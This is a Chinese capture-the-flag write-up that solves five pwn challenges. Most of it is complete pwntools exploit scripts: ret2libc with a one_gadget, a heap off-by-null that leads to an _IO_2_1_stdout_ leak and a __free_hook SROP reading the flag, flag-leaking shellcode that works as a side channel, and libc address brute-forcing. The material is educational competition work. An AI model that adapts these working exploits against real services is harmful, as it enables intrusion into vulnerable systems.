第二届分布式靶场安全技能大赛pwn题解

阅读量201368

|

发布时间 : 2021-12-07 16:30:41

 

64ROP

程序分析

思路

  • ret2libc就好了

EXP

#! /usr/bin/python
# coding=utf-8
import sys
from pwn import *

#context.log_level = 'debug'
context(arch='amd64', os='linux')

def Log(name):
    log.success(name+' = '+hex(eval(name)))

elf_path = "./pwn"
elf = ELF(elf_path)
libc = ELF('./libc.so.6')

if(len(sys.argv)==1):            #local
    cmd = ["./pwn"]
    sh = process(cmd)
else:                        #remtoe
    sh = remote("10.12.152.6", 29999)

def Num(n, l=8):
    sh.sendline(str(n))


def GDB():
    gdb.attach(sh, '''
    break *0x400730
    ''')

#GDB()

rdi = 0x00000000004007a3    #pop rdi; ret;
rsi = 0x00000000004007a1    #pop rsi; pop r15; ret; 

#leak libc addr
exp = cyclic(0x4)
exp+= flat(0x0)     #rbp
exp+= flat(rdi, elf.got['puts'], elf.symbols['puts'], elf.symbols['main'])
sh.sendlineafter('*****#####*****\n', exp)

libc.address = u64(sh.recv(6)+'\x00'*2)-libc.symbols['puts']
Log('libc.address')


OGG = libc.address+0x4526a
exp = cyclic(0x4)
exp+= flat(0x0)     #rbp
exp+= flat(OGG)+'\x00'*0x60
sh.sendlineafter('*****#####*****\n', exp)

sh.interactive()


'''

'''

 

babyheap

程序分析

  • Edit之后进行trunk时有一个offset by null, Trunk会首先检查所有给定范围内所有字符, 计算所有与0x10对齐的字符数量, 如果这个数量与0x10对齐的话, 就有str[len]=0x0

思路

  • 利用Largebin绕过unlink的自闭检查, 手法可以看我以前的文章 https://www.anquanke.com/post/id/237976
  • 构造出Chunk重叠后利用partial overwrite让Tcache指向_IO_2_1_stdout, 从而泄露地址
  • 最后打__free_hook利用setcontext进行SROP读取flag

EXP

#! /usr/bin/python
# coding=utf-8
import sys
from pwn import *

#context.log_level = 'debug'
context(arch='amd64', os='linux')

def Log(name):
    log.success(name+' = '+hex(eval(name)))

elf_path = "./pwn"
elf = ELF(elf_path)
libc = ELF('./libc.so.6')

for i in range(256):
    try:
        if(len(sys.argv)==1):            #local
            cmd = ["./pwn"]
            sh = process(cmd)
        else:                        #remtoe
            sh = remote("10.10.1.11", 23459)

        def Num(n, l=8):
            sh.send(str(n).ljust(l, '\x00'))

        def Cmd(n):
            sh.recvuntil('Choice:')
            Num(n)

        def Add(sz):
            Cmd(1)
            sh.recvuntil('Size: ')
            Num(sz)

        def Edit(idx, cont, wait=True):
            Cmd(2)
            sh.recvuntil('Index: ')
            Num(idx)
            if(wait):
                sh.recvuntil('Content: \n')
            else:   
                sh.recvuntil('Content: ')
            sh.send(cont)

        def Delete(idx):
            Cmd(3)
            sh.recvuntil('Index: ')
            Num(idx)

        def Show():
            Cmd(4)

        def GDB():
            gdb.attach(sh, '''
            break *(0x555555554000+0x149D)
            break *0x7ffff7e2d0a0
            telescope (0x555555554000+0x40E0) 32
            ''')

        Add(0x3D50)   #padding

        #chunk arrange
        Add(0x500)   # B, put into LB and unlink(B)
        Add(0x4F0)   # A'
        Add(0x4F0)   # A, put into LB 
        Add(0x100)   # gap
        Add(0x510)   # C, put into LB

        Add(0x200)
        Add(0x200)
        Add(0x200)
        Add(0x200)

        Add(0x1F8)   # chunk to overflow P flag
        Add(0x4F0)   # chunk to be free 
        Add(0x100)   # gap to top chunk

        #LB<=>C<=>B<=>A
        Delete(1)
        Delete(3)
        Delete(5)
        Add(0x1000)
        Delete(1)

        #forge fake chunk in B
        Add(0x500)
        Edit(1, flat(0xdeadbeef, 0x1F71)[0:0xF])

        hb = 0xe #ASLR on: 0xe, off: 0x0

        #partial overwrite A->bk
        Add(0x4F0)
        Edit(3, '\x00'*(8)+'\x00'+chr(hb<<4))

        #LB<=>C<=>A'
        Delete(2)
        Add(0x1000)
        Delete(2)

        #partial overwrite C->fd
        Add(0x510)
        Edit(2, '\x00'+chr(hb<<4))

        #clean LB
        Add(0x4F0)

        #offset by null
        Edit(10, (b'\x0F'*7).ljust(0x1f0, b'\x00')+p64(0x1F70))

        #trigger consolidate, UB<=>(B, A, A', ...., )
        Delete(11)

        #alloc to _IO_2_1_stdout_
        Delete(7)
        Delete(6)       #Tcache->C6->C7
        Add(0x1520)     #Tcache->C6->UB
        Add(0xF0)
        hb = 0xe #ASLR on: 0xe, off: 0x1
        Edit(7, p16(0x6a0|(hb<<12)))    #Tcache->C6->stdout

        #IO attack
        Add(0x200)
        Add(0x200)
        exp = flat(0xFBAD1800)
        exp+= flat(0 ,0 , 0)
        exp+= p8(0x8)
        Edit(13, exp)

        libc.address = u64(sh.recv(8))-0x1eb980
        Log('libc.address')

        #GG
        ret = libc.address+0x25679  #ret;
        rdi = libc.address+0x26b72  #pop rdi; ret;
        rsi = libc.address+0x27529  #pop rsi; ret;
        rdx_r12 = libc.address+0x11c371 #pop rdx; pop r12; ret; 
        rax = libc.address+0x4a550  #pop rax; ret;
        syscall = libc.address+0x66229  #syscall; ret;

        def Call(sys, A, B, C):
            exp = flat(rdi, A)
            exp+= flat(rsi, B)
            exp+= flat(rdx_r12, C, 0x0)
            exp+= flat(rax, sys)
            exp+= flat(syscall)
            return exp

        #alloc to __free_hook
        Delete(9)   #Tcache->C9
        Delete(8)   #Tcache->C8->C9
        Add(0x400)
        Edit(8, b'\x00'*0x320+p64(libc.symbols['__free_hook']), False)

        #SROP
        Add(0x200)
        Add(0x200)

        exp = p64(libc.symbols['setcontext'])   #__free_hook

        frame = SigreturnFrame()
        frame["&fpstate"] = libc.address+0x1ebF00 #libc .bss
        frame.rsp = libc.address+0x1eec20
        frame.rip = ret
        exp+= bytes(frame)[0x8:]

        #ORW rop
        buf = libc.address+0x1eed10
        exp+= Call(2, buf, 0, 0)
        exp+= Call(0, 3, buf, 0x100)
        exp+= Call(1, 1, buf, 0x100)
        exp+= b"./flag\x00"
        Edit(14, exp.ljust(0x200, b'\x00'), False)

        #GDB()

        #trigger SROP
        Delete(14)

        sh.interactive()

    except:
        sh.close()


'''

'''

 

babystack

思路

  • size传入0, 负整数溢出, 覆盖到canary最低00字节 从而利用%s读出canary

  • vuln()函数
    • 第一次调用: partial overwrite返回地址, 让vuln()返回到main()中call vuln()的地方, 从而多次调用vuln
    • 第二次调用: 已经泄露了stack地址, 直接在stack中写shellcode, 然后覆盖返回地址为shellcode地址就好

  • shellcode: 侧信到泄露flag:
    • 打开文件文件后读入第idx个字节, 如果这个自己与猜的一样, 那么死循环, 如果不一样就mov rax, [0]触发SIGV, 让nc断掉
#! /usr/bin/python
# coding=utf-8
import sys
from pwn import *

context.log_level = 'error'
context(arch='amd64', os='linux')

def Log(name):
    log.success(name+' = '+hex(eval(name)))

elf_path = "./pwn"
elf = ELF(elf_path)
libc = ELF('./libc.so.6')

def Num(n, l=8):
    sh.sendline(str(n))

def GDB():
    gdb.attach(sh, '''
    break *(0x555555554ce6)
    ''')


#GDB()

def Brute(sh, idx, c):
    def Name(name):
        sh.recvuntil(' What\'s your name size?\n')
        sh.send('0'.ljust(7, '\x00'))
        sh.recvuntil('Tell me your name!\n')
        sh.send(name)

    def Gift(cont):
        sh.recvuntil('This is gift for you\n')
        sh.send(cont)

    try:
        Name('A'*0x19)
        sh.recvuntil('A'*0x19, timeout=1)
        t=sh.recv(7)
        canary = u64('\x00'+t)

        #stack mov
        exp = cyclic(0x88)
        exp+= flat(canary)
        exp+= flat(0x0)       #rbp
        exp+= p8(0xB7)
        Gift(exp)

        sh.recv(0x98)
        elf.address = u64(sh.recv(8))

        stack_addr = u64(sh.recv(8))

        #shellcode
        exp = 'A'*8
        exp+= asm('''
            xor rax, rax
            mov eax, 0x67616c66
            push rax

            open:
                xor rax, rax
                inc rax
                inc rax
                mov rdi, rsp
                xor rsi, rsi
                syscall

            read_flag:
                mov rdi, rax
                xor rax, rax
                mov rsi, rsp
                xor rdx, rdx
                mov dl, 0xff
                syscall

            brute:
                mov al, [rsp+%d]
                cmp al, %d
                jnz die
                jmp brute

            die:
                mov al, [0]
        '''%(idx, c))
        exp = exp.ljust(0x88, '\x00')
        exp+= flat(canary)
        exp+= flat(0, stack_addr-0x1c0)
        sh.send(exp.ljust(0xB0, '\x00'))

        sh.recv(0xB0, timeout=1)

        sleep(0.1)
        sh.send('A')
        sh.close()
        return True

    except:
        sh.close()
        return False

flag = ''
while(len(flag)<3):
    for c in range(0x20, 0x80):

        if(len(sys.argv)==1):            #local
            cmd = ["./pwn"]
            sh = process(cmd)
        else:                        #remtoe
            sh = remote("10.10.1.11", 23458)

        print("brute 0x%x"%(c))
        if(Brute(sh, len(flag), c)):
            flag+= chr(c)
            print(flag)
            break

'''

'''

 

bitflip

程序分析

  • read()读入, 不保证00结尾, 计算长度时使用strlen()依赖00结尾, 因此会造成越界读取, 利用侧信道泄露栈上信息

  • Vuln读入时溢出1字节, 覆盖到i, 从而让i永远不为65, 相当于一个无限堆溢出

思路

  • 利用栈缓存区中残留的stdout地址泄露libc地址

  • 先是如下爆破每一个字节, 爆破之后得到最低12bit为0x680, 从而得知远程libc为2.27-3Ubuntu1.3

  • 因此打远程是为了减少爆破次数, 最低12bit直接默认为0x680, 爆破就好

  • 但是没法泄露canary, 覆盖i为0x50较大的数, 直接约过canary开始写入

EXP

#! /usr/bin/python
# coding=utf-8
import sys
from pwn import *

#context.log_level = 'debug'
context(arch='amd64', os='linux')

def Log(name):
    log.success(name+' = '+hex(eval(name)))

elf_path = "./pwn"
elf = ELF(elf_path)
libc = ELF('./libc.so.6')

if(len(sys.argv)==1):            #local
    cmd = ["./pwn"]
    sh = process(cmd)
else:                        #remtoe
    sh = remote("10.10.1.10", 10000)

def Num(n, l=8):
    sh.sendline(str(n))

def ID(cont):
    sh.recvuntil('ID: ')
    sh.send(cont)

def Secret(cont):
    sh.recvuntil('Secret: ')
    sh.send(cont)

def Say(cont):
    sh.recvuntil('WTF? What do you want to say: ')
    sh.send(cont)

def GDB():
    gdb.attach(sh, '''
    break *(0x5555555549a1)
    ''')

#brute address
stderr = '\x80'
for i in range(4):
    if(i==0):
        start = 0x6
        step = 0x10
    else:
        start = 0x1
        step = 0x1

    for c in range(start, 0x100, step):
        print("Guess %d, %s"%(i, hex(c)))
        sh.sendlineafter('Choice: ', '1')
        ID('A'*0x10+stderr+chr(c)+'\x00')
        Secret('A'*0x10)
        res = sh.recv(4)
        if(res == "Fail"):
            continue
        else:
            sh.sendline('A')
            stderr+=chr(c)
            print('='*0x30+hex(c))
            break

stderr = u64(stderr+'\x7F'+'\x00'*2)
Log('stderr')

libc.address = stderr - libc.symbols['_IO_2_1_stderr_']
Log('libc.address')

#ROP
#GDB()
sh.sendlineafter('Choice: ', '1')
ID('A\x00')
Secret('A\x00')

OGG = libc.address + 0x4f432

exp = '\x50'*0x41   # i = 0x50
exp+= cyclic(0x7)   # rbp
exp+= flat(OGG)
exp+= '\x00'*0x100
Say(exp+'\n')

sh.sendline('cat flag\x00')


sh.interactive()


'''

'''

 

overflow

思路

  • 相邻变量覆盖就好

EXP

本文由一只狗原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/261936

安全客 - 有思想的安全新媒体

分享到:微信
+11赞
收藏
一只狗
分享到:微信

发表评论

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66